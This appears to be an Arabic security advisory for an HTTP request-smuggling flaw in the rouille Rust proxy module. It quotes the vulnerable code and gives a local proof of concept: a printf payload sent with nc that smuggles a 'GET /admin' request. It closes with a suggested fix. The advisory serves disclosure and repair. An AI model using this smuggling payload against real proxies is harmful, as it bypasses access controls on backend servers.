
نشرة أمنية: تهريب طلبات HTTP عبر عدم تزامن ترميز النقل (rouille)
معرّف CVE المعيّن: CVE-2026-67181
rouille::proxy::proxy يمرر ترويسة Transfer-Encoding الخاصة بالعميل إلى
الخادم الخلفي دون تغيير، لكنه يكتب جسم الطلب الذي قام tiny_http بالفعل
بفكّ تقطيعه (de-chunk). وهو لا يصدر أبدًا Content-Length خاصًا به.
يُخبَر الخادم الخلفي أن الجسم مقطّع (chunked)، ويُسلَّم بايتات غير مقطّعة،
لذا يقرر العميل — وليس rouille — أين يعتقد الخادم الخلفي أن الجسم ينتهي.
رابط المستودع: https://github.com/tomaka/rouille
| أول إصدار متأثر | 0.3.3 (2016-12-03)، الإصدار الذي أدخل src/proxy.rs |
| آخر إصدار متأثر | 3.6.2 (2023-04-24)، الإصدار الحالي |
| غير متأثر | 0.3.2 والإصدارات الأقدم، التي لا تحتوي على وحدة proxy |
| تم الإصلاح في | لا يوجد إصدار مُصلَح وقت كتابة هذا التقرير |
src/proxy.rs مطابق بايتًا ببايت بين وسم 3.6.2 وmaster الحالي.
فقط التطبيقات التي تستدعي proxy::proxy أو proxy::full_proxy هي المتأثرة.
CWE-444 (تفسير غير متناسق لطلبات HTTP).
الدرجة الأساسية وفق CVSS 4.0 هي 6.3 (متوسطة)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:N
عميل بعيد غير مصادق يرسل HTTP خام إلى تطبيق rouille يعمل كوسيط عكسي (reverse proxy). لا حاجة لأي بيانات اعتماد أو تفاعل من المستخدم.
يعتمد الأثر على الخادم الخلفي. الخوادم الخلفية التي تتعامل بالتسلسل (pipeline)
بغض النظر عن Connection: close، وأي وسيط يجمع الاتصالات (connection-pooling)
يقع بين rouille والخادم الأصلي، ستتعامل مع الطلب المُهرَّب. أما الخوادم الخلفية
التي تحترم Connection: close فستحصل في النهاية على جسم طلب مختلف عن الذي أرسله
العميل وعن الذي رصده rouille.
يزيل tiny_http التقطيع كلما وُجدت أي ترويسة Transfer-Encoding ويتجاهل Content-Length.
tiny_http-0.12.0/src/request.rs، الأسطر من 149 إلى 159:
149 // finding the content-length header
150 let content_length = if transfer_encoding.is_some() {
151 // if transfer-encoding is specified, the Content-Length
152 // header must be ignored (RFC2616 #4.4)
153 None
154 } else {
tiny_http-0.12.0/src/request.rs، الأسطر من 218 إلى 221:
218 } else if transfer_encoding.is_some() {
219 // if a transfer-encoding was specified, then "chunked" is ALWAYS applied
220 // over the message (RFC2616 #3.6)
221 Box::new(FusedReader::new(Decoder::new(source_data))) as Box<dyn Read + Send + 'static>
ثم يمرر rouille/src/proxy.rs كل الترويسات باستثناء Connection وينسخ الجسم
المفكوك الترميز. الأسطر من 167 إلى 174:
167 if header == "Connection" {
168 continue;
169 }
170
171 socket.write_all(format!("{}: {}\r\n", header, value).as_bytes())?;
172 }
173 socket.write_all(b"Connection: close\r\n\r\n")?;
174 io::copy(&mut data, &mut socket)?;
تبقى ترويسة Transfer-Encoding: chunked الخاصة بالعميل موجودة في السطر 171.
يكتب السطر 174 النص الصريح الذي أنتجه Decoder. لا يُكتب أي Content-Length
على الإطلاق، لذلك لا يملك الخادم الخلفي ما يؤطّر عليه غيره ويطبّق تحليل التقطيع
على نص صريح اختاره المهاجم.
الخطوة 1. شغّل مستمعًا خامًا على المنفذ 8001 ليعمل كخادم خلفي ويعرض البايتات التي يرسلها rouille.
nc -l 127.0.0.1 8001 | cat -v
الخطوة 2. شغّل واجهة rouille أمامية على المنفذ 8000.
use rouille::proxy;
fn main() {
rouille::start_server("127.0.0.1:8000", |request| {
proxy::full_proxy(request, proxy::ProxyConfig {
addr: "127.0.0.1:8001", replace_host: None,
}).unwrap()
});
}
الخطوة 3. أرسل طلبًا مقطّعًا بشكل صحيح، بحيث يكون جسمه المفكوك الترميز بحد ذاته تدفقًا مقطّعًا ينتهي فورًا، يتبعه طلب ثانٍ. يبلغ طول القطعة الواحدة 0x3d = 61 بايتًا.
printf 'POST /public/upload HTTP/1.1\r\nHost: x\r\nTransfer-Encoding: chunked\r\n\r\n3d\r\n0\r\n\r\nGET /admin HTTP/1.1\r\nHost: x\r\nX-Smuggled: yes\r\n\r\n\r\n0\r\n\r\n' | nc 127.0.0.1 8000
النتيجة. يعرض المستمع من الخطوة 1 أن rouille يعلن تأطير chunked ثم يرسل نصًا صريحًا:
POST /public/upload HTTP/1.1
Host: x
Transfer-Encoding: chunked
Connection: close
0
GET /admin HTTP/1.1
Host: x
X-Smuggled: yes
الخادم الخلفي الذي يحترم Transfer-Encoding: chunked يقرأ سطر حجم القطعة 0،
ويستنتج أن الجسم فارغ، ويحلل البايتات الـ56 المتبقية كطلب جديد.
نظرة الخادم الخلفي إلى جسم الطلب تختلف عن كل من البايتات التي أرسلها العميل والبايتات التي قرأها rouille. أي مكوّن أعلى المسار يسجّل أو يدقق أو يعكس الجسم، يوثّق شيئًا مختلفًا عمّا تعامل معه الخادم الخلفي.
عندما يتعامل الخادم الخلفي بالتسلسل رغم Connection: close، أو عندما يقع وسيط
يجمع الاتصالات بين rouille والخادم الأصلي، تتحول البايتات الزائدة إلى طلب ثانٍ
بطريقة (method) ومسار يختارهما المهاجم.
كما يتم تمرير Content-Length الخاص بالعميل رغم أن tiny_http تجاهله، لذا فإن
أي خادم خلفي يفضّل Content-Length على Transfer-Encoding يصاب مباشرة بخلل
عدم تزامن من نوع CL.TE.
لا تقم بتمرير ترويسات التأطير التي تصف جسمًا قام rouille بفك ترميزه بالفعل.
في src/proxy.rs، وسّع التخطي عند السطر 167:
if header.eq_ignore_ascii_case("Connection")
|| header.eq_ignore_ascii_case("Transfer-Encoding")
|| header.eq_ignore_ascii_case("Content-Length")
{
continue;
}
ثم أرسِل تأطيرًا يطابق ما يُكتب فعليًا: خزّن الجسم مؤقتًا (buffer) وأرسل
Content-Length دقيقًا، أو أعد تقطيعه وأرسل Transfer-Encoding: chunked
بنفسك، قبل \r\n\r\n الختامي في السطر 173.